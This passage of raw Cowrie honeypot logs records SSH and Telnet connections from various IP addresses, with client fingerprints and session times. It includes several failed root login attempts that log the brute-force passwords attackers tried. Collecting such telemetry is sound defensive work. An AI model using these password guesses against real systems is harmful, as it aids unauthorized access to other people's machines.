],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:01.125337Z","src_ip":"103.173.227.57","session":"c4a2c6878955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15021990","message":"login attempt [root/15021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:01.881927Z","src_ip":"103.173.227.57","session":"c4a2c6878955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:03.136856Z","src_ip":"103.173.227.57","session":"c4a2c6878955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54678,"dst_ip":"159.203.135.109","dst_port":23,"session":"28dfa55ef527","protocol":"telnet","message":"New connection: 69.4.83.194:54678 (159.203.135.109:23) [session: 28dfa55ef527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:18.604456Z"}
{"eventid":"cowrie.session.closed","duration":120.00970602035522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:41.484184Z","src_ip":"167.0.90.191","session":"586d397fa308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00136351585388,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:41.908662Z","src_ip":"167.0.90.191","session":"6cda645c755a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":34995,"dst_ip":"10.17.0.5","dst_port":23,"session":"54debdd803aa","protocol":"telnet","message":"New connection: 167.0.90.191:34995 (10.17.0.5:23) [session: 54debdd803aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:42.792762Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":34998,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb1c157b39d4","protocol":"telnet","message":"New connection: 167.0.90.191:34998 (10.17.0.5:23) [session: bb1c157b39d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:43.327536Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37256,"dst_ip":"159.203.135.109","dst_port":23,"session":"1353b39f2430","protocol":"telnet","message":"New connection: 69.4.83.194:37256 (159.203.135.109:23) [session: 1353b39f2430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:47.191494Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":45500,"dst_ip":"159.203.135.109","dst_port":23,"session":"00f8c8bb6cba","protocol":"telnet","message":"New connection: 50.62.181.92:45500 (159.203.135.109:23) [session: 00f8c8bb6cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:50.237883Z"}
{"eventid":"cowrie.session.closed","duration":33.893261194229126,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:37:52.497566Z","src_ip":"69.4.83.194","session":"28dfa55ef527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d07004bf58b2","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: d07004bf58b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:13.376919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:13.381580Z","src_ip":"23.97.62.150","session":"d07004bf58b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:13.618068Z","src_ip":"23.97.62.150","session":"d07004bf58b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu2025","message":"login attempt [root/ubuntu2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:14.325105Z","src_ip":"23.97.62.150","session":"d07004bf58b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:15.564847Z","src_ip":"23.97.62.150","session":"d07004bf58b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81983208656311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:21.057572Z","src_ip":"50.62.181.92","session":"00f8c8bb6cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.229621171951294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:21.420977Z","src_ip":"69.4.83.194","session":"1353b39f2430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52882,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed81f2fa36d0","protocol":"telnet","message":"New connection: 69.4.83.194:52882 (159.203.135.109:23) [session: ed81f2fa36d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:38:26.944318Z"}
{"eventid":"cowrie.session.closed","duration":34.00834536552429,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:00.952570Z","src_ip":"69.4.83.194","session":"ed81f2fa36d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0135908126831,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:42.806229Z","src_ip":"167.0.90.191","session":"54debdd803aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":38911,"dst_ip":"10.17.0.5","dst_port":23,"session":"95281a02cc55","protocol":"telnet","message":"New connection: 167.0.90.191:38911 (10.17.0.5:23) [session: 95281a02cc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:43.249287Z"}
{"eventid":"cowrie.session.closed","duration":120.00150418281555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:43.328651Z","src_ip":"167.0.90.191","session":"bb1c157b39d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":38948,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0d57c14258","protocol":"telnet","message":"New connection: 167.0.90.191:38948 (10.17.0.5:23) [session: ac0d57c14258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:44.793496Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.0.90.191","src_port":39084,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ee4d0f6399","protocol":"telnet","message":"New connection: 167.0.90.191:39084 (10.17.0.5:23) [session: c7ee4d0f6399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:49.220257Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36756,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4211d0a6971","protocol":"ssh","message":"New connection: 103.172.78.219:36756 (159.203.135.109:22) [session: e4211d0a6971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:51.262119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:51.266985Z","src_ip":"103.172.78.219","session":"e4211d0a6971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:51.531077Z","src_ip":"103.172.78.219","session":"e4211d0a6971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1994","message":"login attempt [root/artem1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:52.319340Z","src_ip":"103.172.78.219","session":"e4211d0a6971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:39:53.585811Z","src_ip":"103.172.78.219","session":"e4211d0a6971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":46720,"dst_ip":"10.17.0.5","dst_port":22,"session":"07c99235394d","protocol":"ssh","message":"New connection: 193.228.128.84:46720 (10.17.0.5:22) [session: 07c99235394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:19.086168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:19.095222Z","src_ip":"193.228.128.84","session":"07c99235394d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:19.205121Z","src_ip":"193.228.128.84","session":"07c99235394d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asnaeb","message":"login attempt [root/asnaeb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:19.514326Z","src_ip":"193.228.128.84","session":"07c99235394d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:20.634569Z","src_ip":"193.228.128.84","session":"07c99235394d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":60250,"dst_ip":"10.17.0.5","dst_port":23,"session":"740df91a9bf5","protocol":"telnet","message":"New connection: 109.228.58.89:60250 (10.17.0.5:23) [session: 740df91a9bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:23.483467Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":33296,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c871adcc3f1","protocol":"telnet","message":"New connection: 109.228.58.89:33296 (10.17.0.5:23) [session: 8c871adcc3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:34.592931Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ada082ec99","protocol":"telnet","message":"New connection: 109.228.58.89:33618 (10.17.0.5:23) [session: f2ada082ec99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:35.378677Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":34028,"dst_ip":"10.17.0.5","dst_port":23,"session":"7722e9d92fcb","protocol":"telnet","message":"New connection: 109.228.58.89:34028 (10.17.0.5:23) [session: 7722e9d92fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:40.882585Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":34328,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0d0fb44e25","protocol":"telnet","message":"New connection: 109.228.58.89:34328 (10.17.0.5:23) [session: 6d0d0fb44e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:43.466685Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":34366,"dst_ip":"10.17.0.5","dst_port":23,"session":"8328180d59f7","protocol":"telnet","message":"New connection: 109.228.58.89:34366 (10.17.0.5:23) [session: 8328180d59f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:44.123039Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":34770,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7165108a365","protocol":"telnet","message":"New connection: 109.228.58.89:34770 (10.17.0.5:23) [session: f7165108a365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:46.957119Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":34966,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1775f09476d","protocol":"telnet","message":"New connection: 109.228.58.89:34966 (10.17.0.5:23) [session: f1775f09476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:49.911943Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":35058,"dst_ip":"10.17.0.5","dst_port":23,"session":"620b5ba0b69c","protocol":"telnet","message":"New connection: 109.228.58.89:35058 (10.17.0.5:23) [session: 620b5ba0b69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:50.804446Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":35082,"dst_ip":"10.17.0.5","dst_port":23,"session":"28033310c6a6","protocol":"telnet","message":"New connection: 109.228.58.89:35082 (10.17.0.5:23) [session: 28033310c6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:51.101895Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":50886,"dst_ip":"159.203.135.109","dst_port":22,"session":"af3add16d2e4","protocol":"ssh","message":"New connection: 20.6.35.235:50886 (159.203.135.109:22) [session: af3add16d2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:54.038326Z"}
{"eventid":"cowrie.session.closed","duration":31.485325574874878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:54.968669Z","src_ip":"109.228.58.89","session":"740df91a9bf5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:55.012380Z","src_ip":"20.6.35.235","session":"af3add16d2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:55.257984Z","src_ip":"20.6.35.235","session":"af3add16d2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":35852,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a5a4cfc82c","protocol":"telnet","message":"New connection: 109.228.58.89:35852 (10.17.0.5:23) [session: 12a5a4cfc82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:40:58.547371Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":36030,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad0b2b8d153","protocol":"telnet","message":"New connection: 109.228.58.89:36030 (10.17.0.5:23) [session: 1ad0b2b8d153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:00.881262Z"}
{"eventid":"cowrie.session.closed","duration":30.282459020614624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:05.660979Z","src_ip":"109.228.58.89","session":"f2ada082ec99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16429901123047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:05.757096Z","src_ip":"109.228.58.89","session":"8c871adcc3f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:05.772963Z","src_ip":"20.6.35.235","session":"af3add16d2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":36632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6014743ba11","protocol":"telnet","message":"New connection: 109.228.58.89:36632 (10.17.0.5:23) [session: b6014743ba11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:06.101403Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57594,"dst_ip":"159.203.135.109","dst_port":23,"session":"df27b12932df","protocol":"telnet","message":"New connection: 69.4.83.194:57594 (159.203.135.109:23) [session: df27b12932df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:06.312279Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":36996,"dst_ip":"10.17.0.5","dst_port":23,"session":"540e50177b10","protocol":"telnet","message":"New connection: 109.228.58.89:36996 (10.17.0.5:23) [session: 540e50177b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:06.776734Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":33686,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e301abd6f00","protocol":"telnet","message":"New connection: 109.228.58.89:33686 (10.17.0.5:23) [session: 7e301abd6f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:06.989444Z"}
{"eventid":"cowrie.session.closed","duration":0.004883289337158203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:06.994193Z","src_ip":"109.228.58.89","session":"7e301abd6f00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ecce0d0cb91","protocol":"telnet","message":"New connection: 109.228.58.89:37000 (10.17.0.5:23) [session: 8ecce0d0cb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:09.813308Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":37490,"dst_ip":"10.17.0.5","dst_port":23,"session":"1875a9ea032c","protocol":"telnet","message":"New connection: 109.228.58.89:37490 (10.17.0.5:23) [session: 1875a9ea032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:10.504201Z"}
